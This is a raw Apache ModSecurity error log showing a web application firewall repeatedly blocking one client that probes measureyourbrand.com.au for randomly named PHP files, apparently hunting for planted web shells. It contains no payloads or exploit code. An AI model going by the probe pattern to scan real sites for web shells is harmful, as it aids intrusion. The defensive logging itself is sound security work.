[Sun Apr 19 02:37:05.870738 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:52059] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bivvw.php"] [unique_id "aePPUUyD4Jm27Mb3NJiTjgAAAJg"]
[Sun Apr 19 02:37:06.468474 2026] [:error] [pid 32252:tid 32258] [client 20.91.197.181:47399] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bykdo.php"] [unique_id "aePPUuXl4Yc-Lt5fJ9iquQAAAQQ"]
[Sun Apr 19 02:37:07.053176 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:52630] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bykdo.php"] [unique_id "aePPU-Xl4Yc-Lt5fJ9iqugAAARU"]
[Sun Apr 19 02:37:07.630979 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:55183] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bykdo.php"] [unique_id "aePPU34Zz-rubR1wiZ-6IAAAAMk"]
[Sun Apr 19 02:37:08.179622 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:52653] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bykdo.php"] [unique_id "aePPVH4Zz-rubR1wiZ-6IQAAAMw"]
[Sun Apr 19 02:37:08.896818 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:49986] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byueb.php"] [unique_id "aePPVEyD4Jm27Mb3NJiTngAAAIA"]
[Sun Apr 19 02:37:09.446194 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:52075] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byueb.php"] [unique_id "aePPVUyD4Jm27Mb3NJiTpQAAAIY"]
[Sun Apr 19 02:37:09.989824 2026] [:error] [pid 32166:tid 32218] [client 20.91.197.181:52087] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byueb.php"] [unique_id "aePPVZCHNkWwdiZnafLWMQAAAFQ"]
[Sun Apr 19 02:37:10.529132 2026] [:error] [pid 32165:tid 32174] [client 20.91.197.181:50013] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byueb.php"] [unique_id "aePPVqe2vKwEk_N0Brb-8AAAAAU"]
[Sun Apr 19 02:37:11.104340 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:50036] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjndd.php"] [unique_id "aePPV0yD4Jm27Mb3NJiTrQAAAJY"]
[Sun Apr 19 02:37:11.662441 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:47396] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjndd.php"] [unique_id "aePPV0yD4Jm27Mb3NJiTrwAAAIA"]
[Sun Apr 19 02:37:12.228839 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:47404] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjndd.php"] [unique_id "aePPWEH3ayszMLZYflsEKQAAAZY"]
[Sun Apr 19 02:37:12.818487 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:50027] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjndd.php"] [unique_id "aePPWJCHNkWwdiZnafLWNQAAAEM"]
[Sun Apr 19 02:37:13.437299 2026] [:error] [pid 33517:tid 33534] [client 20.91.197.181:47389] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/coiuz.php"] [unique_id "aePPWX4Zz-rubR1wiZ-6JgAAAM8"]
[Sun Apr 19 02:37:13.978359 2026] [:error] [pid 32252:tid 32270] [client 20.91.197.181:52575] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/coiuz.php"] [unique_id "aePPWeXl4Yc-Lt5fJ9iqxwAAARA"]
[Sun Apr 19 02:37:14.531023 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:52039] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/coiuz.php"] [unique_id "aePPWuXl4Yc-Lt5fJ9iqywAAAQY"]
[Sun Apr 19 02:37:15.087185 2026] [:error] [pid 41277:tid 41298] [client 20.91.197.181:47375] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/coiuz.php"] [unique_id "aePPW0H3ayszMLZYflsELAAAAZM"]
[Sun Apr 19 02:37:15.642128 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:49994] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aePPW0H3ayszMLZYflsEMAAAAYA"]
[Sun Apr 19 02:37:16.196773 2026] [:error] [pid 33517:tid 33538] [client 20.91.197.181:49990] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aePPXH4Zz-rubR1wiZ-6KQAAANM"]
[Sun Apr 19 02:37:16.801193 2026] [:error] [pid 33517:tid 33520] [client 20.91.197.181:52095] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aePPXH4Zz-rubR1wiZ-6KwAAAME"]
[Sun Apr 19 02:37:17.359057 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:47364] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aePPXXFWunkyacYqsD1KhAAAAUE"]
[Sun Apr 19 02:37:18.118007 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:52631] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctjpseby.php"] [unique_id "aePPXnFWunkyacYqsD1KhQAAAVM"]
[Sun Apr 19 02:37:18.673025 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:50034] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctjpseby.php"] [unique_id "aePPXnFWunkyacYqsD1KiAAAAVU"]
[Sun Apr 19 02:37:19.218092 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:47421] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctjpseby.php"] [unique_id "aePPX0H3ayszMLZYflsEPAAAAYI"]
[Sun Apr 19 02:37:19.921467 2026] [:error] [pid 32165:tid 32179] [client 20.91.197.181:47401] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctjpseby.php"] [unique_id "aePPX6e2vKwEk_N0Brb_AwAAAAo"]
[Sun Apr 19 02:37:20.461103 2026] [:error] [pid 33517:tid 33525] [client 20.91.197.181:52033] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aePPYH4Zz-rubR1wiZ-6LQAAAMY"]
[Sun Apr 19 02:37:21.166405 2026] [:error] [pid 32165:tid 32182] [client 20.91.197.181:49989] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aePPYae2vKwEk_N0Brb_BwAAAA0"]
[Sun Apr 19 02:37:21.709115 2026] [:error] [pid 32252:tid 32260] [client 20.91.197.181:52084] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aePPYeXl4Yc-Lt5fJ9iqzwAAAQY"]
[Sun Apr 19 02:37:22.327488 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:47378] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aePPYn4Zz-rubR1wiZ-6NAAAAMA"]
[Sun Apr 19 02:37:23.008516 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:52660] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dawvg.php"] [unique_id "aePPY0yD4Jm27Mb3NJiTugAAAJQ"]
[Sun Apr 19 02:37:23.549272 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:50045] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dawvg.php"] [unique_id "aePPY0yD4Jm27Mb3NJiTvQAAAI4"]
[Sun Apr 19 02:37:24.136564 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:52633] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dawvg.php"] [unique_id "aePPZH4Zz-rubR1wiZ-6OQAAANc"]
[Sun Apr 19 02:37:24.668776 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:52560] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dawvg.php"] [unique_id "aePPZEyD4Jm27Mb3NJiTxgAAAIU"]
[Sun Apr 19 02:37:25.214669 2026] [:error] [pid 33517:tid 33526] [client 20.91.197.181:47409] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dhjqs.php"] [unique_id "aePPZX4Zz-rubR1wiZ-6OwAAAMc"]
[Sun Apr 19 02:37:25.810189 2026] [:error] [pid 33517:tid 33525] [client 20.91.197.181:55505] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dhjqs.php"] [unique_id "aePPZX4Zz-rubR1wiZ-6PgAAAMY"]
[Sun Apr 19 02:37:26.365629 2026] [:error] [pid 41277:tid 41298] [client 20.91.197.181:52076] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dhjqs.php"] [unique_id "aePPZkH3ayszMLZYflsESAAAAZM"]
[Sun Apr 19 02:37:26.943019 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:55512] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dhjqs.php"] [unique_id "aePPZkyD4Jm27Mb3NJiT0AAAAIw"]
[Sun Apr 19 02:37:27.538929 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:47393] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diayd.php"] [unique_id "aePPZ5CHNkWwdiZnafLWRQAAAFI"]
[Sun Apr 19 02:37:28.266072 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:52628] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diayd.php"] [unique_id "aePPaEyD4Jm27Mb3NJiT1wAAAIo"]
[Sun Apr 19 02:37:28.824894 2026] [:error] [pid 32166:tid 32200] [client 20.91.197.181:50037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diayd.php"] [unique_id "aePPaJCHNkWwdiZnafLWTQAAAEI"]
[Sun Apr 19 02:37:29.431278 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:55520] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diayd.php"] [unique_id "aePPaUH3ayszMLZYflsETAAAAYU"]
[Sun Apr 19 02:37:30.233410 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:50009] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dljpy.php"] [unique_id "aePPakyD4Jm27Mb3NJiT4gAAAIU"]
[Sun Apr 19 02:37:30.892159 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:50028] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dljpy.php"] [unique_id "aePPauXl4Yc-Lt5fJ9iq1gAAAQE"]
[Sun Apr 19 02:37:31.638288 2026] [:error] [pid 41277:tid 41293] [client 20.91.197.181:50026] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dljpy.php"] [unique_id "aePPa0H3ayszMLZYflsEUwAAAY4"]
[Sun Apr 19 02:37:32.238193 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:52621] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dljpy.php"] [unique_id "aePPbHFWunkyacYqsD1KkQAAAVM"]
[Sun Apr 19 02:37:32.855341 2026] [:error] [pid 33517:tid 33524] [client 20.91.197.181:52037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dqagu.php"] [unique_id "aePPbH4Zz-rubR1wiZ-6RgAAAMU"]
[Sun Apr 19 02:37:33.468854 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:52057] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dqagu.php"] [unique_id "aePPbUyD4Jm27Mb3NJiT6wAAAIM"]
[Sun Apr 19 02:37:34.150575 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:47403] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dqagu.php"] [unique_id "aePPbkyD4Jm27Mb3NJiT8QAAAIE"]
[Sun Apr 19 02:37:34.757781 2026] [:error] [pid 32252:tid 32254] [client 20.91.197.181:52073] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dqagu.php"] [unique_id "aePPbuXl4Yc-Lt5fJ9iq3AAAAQA"]
[Sun Apr 19 02:37:35.524551 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:52638] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/druqr.php"] [unique_id "aePPb3FWunkyacYqsD1KmAAAAUc"]
[Sun Apr 19 02:37:36.937520 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:52670] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/druqr.php"] [unique_id "aePPcEyD4Jm27Mb3NJiT-wAAAI4"]
[Sun Apr 19 02:37:38.761938 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:47366] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/druqr.php"] [unique_id "aePPckyD4Jm27Mb3NJiUAQAAAJM"]
[Sun Apr 19 02:37:39.795752 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:52041] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/druqr.php"] [unique_id "aePPc34Zz-rubR1wiZ-6TAAAANc"]
[Sun Apr 19 02:37:40.719978 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:50015] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dyxbc.php"] [unique_id "aePPdHFWunkyacYqsD1KowAAAUE"]
[Sun Apr 19 02:37:41.275028 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:55182] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dyxbc.php"] [unique_id "aePPdUyD4Jm27Mb3NJiUBgAAAJE"]
